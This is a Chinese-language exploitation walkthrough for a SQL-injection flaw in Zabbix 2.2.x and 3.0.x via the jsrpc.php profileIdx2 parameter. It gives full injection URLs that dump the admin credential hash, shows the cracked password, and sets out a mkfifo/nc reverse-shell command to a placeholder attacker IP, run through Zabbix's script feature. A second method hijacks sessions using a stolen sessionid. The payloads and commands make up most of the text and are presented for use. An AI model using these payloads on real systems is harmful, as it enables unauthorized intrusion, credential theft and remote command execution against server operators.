Zabbix 2.2系列注入+getsehll
Zabbix 是一个开源的企业级性能监控解决方案。
官方网站:http://www.zabbix.com
Zabbix 的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆Zabbix管理系统,也可通过script等功能易直接获取Zabbix服务器的操作系统权限。
1.1. 漏洞利用条件
Zabbix 开启了guest权限。而在Zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。
1.2. 影响版本
Zabbix 2.2.x, 3.0.0-3.0.3
通过浏览器直接访问Zabbix
0x01 注入
测试注入,可以发现页面将会报错,并出现如下信息
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
通过这个现象,即可得知漏洞存在。
利用这个漏洞,我们可以进行错误型sql注射,即可获取管理员的信息。
通过构造payload,获取用户名和密码信息
jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%20and%20(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(concat(alias,0x7e,passwd,0x7e)%20as%20char),0x7e))%20from%20zabbix.users%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17
这个漏洞的问题参数在于profileIdx2,因此payload写在此处。
利用这个payload,可以成功获取到管理员的用户名和密码信息
Admin~5fce1b3e34b520afeffb37ce08c7cd66~~1
通过md5解密,即可成功获得密码
到此为止,已经成功获取到了用户名和密码:Admin/zabbix
登录后台
0x02 后台getshell
进入web页面后,前往脚本页面利用zabbix自带的命令行实现反弹shell
创建如下的一个脚本
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机ip地址 1234 >/tmp/f
点击存档以后,在攻击机中开启一个接收shell端
nc -lvp 1234
在zabbix页面中,重新返回到首页。在下述位置点击执行脚本
执行成功以后,前往攻击机查看是否接收到shell
方法2
第一种方法属于直接获取管理员的密码信息进行登陆,但是有时候密码设置的很复杂,没办法破解的时候,可以采用方法2。
这个方法是通过sql注入漏洞获取Zabbix登陆用的sessionid,通过修改sessionid从而无需用户名密码即可直接登陆。
这里需要用到一个脚本
脚本地址:
https://github.com/Xyntax/POC-T
将这款工具在攻击机中安装成功,然后执行下面的命令
python POC-T.py -s zabbix-jsrpc-mysql-exp -iS http://zabbix服务器的ip地址/zabbix/php
可以看到,直接即可获取到密码信息和sessionid
password_md5:Zabbix:5fce1b3e34b520afeffb37ce08c7cd66', 'Session_id:45e0bac4f0b73bb41706a70adec8a097')
接下来,我们使用burp进行抓包,修改sessionid直接登陆。
将cookie中的zbx_sessionid修改为我们找到的sessionid。
点击forward
接下来,我们可以看到,成功的进入后台中
------------------------------------------------------------------------------------